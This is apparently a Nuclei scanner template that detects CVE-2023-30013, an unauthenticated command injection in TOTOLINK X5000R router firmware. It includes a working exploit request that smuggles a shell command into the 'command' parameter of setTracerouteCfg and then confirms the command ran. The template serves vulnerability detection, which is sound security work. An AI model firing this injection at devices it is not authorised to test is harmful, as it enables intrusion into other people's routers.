nuclei-templates/http/cves/2023/CVE-2023-30013.yaml

57 lines
1.8 KiB
YAML

id: CVE-2023-30013
info:
name: TOTOLink - Unauthenticated Command Injection
author: gy741
severity: critical
description: |
TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-30013
- https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
- http://packetstormsecurity.com/files/174799/TOTOLINK-Wireless-Routers-Remote-Command-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-30013
cwe-id: CWE-78
epss-score: 0.94437
epss-percentile: 0.99039
cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: totolink
product: x5000r_firmware
tags: cve2023,cve,packetstorm,totolink,unauth,rce,intrusive
http:
- raw:
- |
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: {{Hostname}}
{"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}
- |
GET /{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "lan_ip"
- "reserv"
condition: and
- type: word
part: body_2
words:
- ".sh"
- ".cgi"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100de32bf2598350c6d1b0ebc0c15bf8952ffe5c7baf4a76aa4dbcc9e4d79b785190220527abb1ac1d6101caa82b6921e39a9feb00255dfc1b7e6021ef259f55f622987:922c64590222798bb761d5b6d8e72950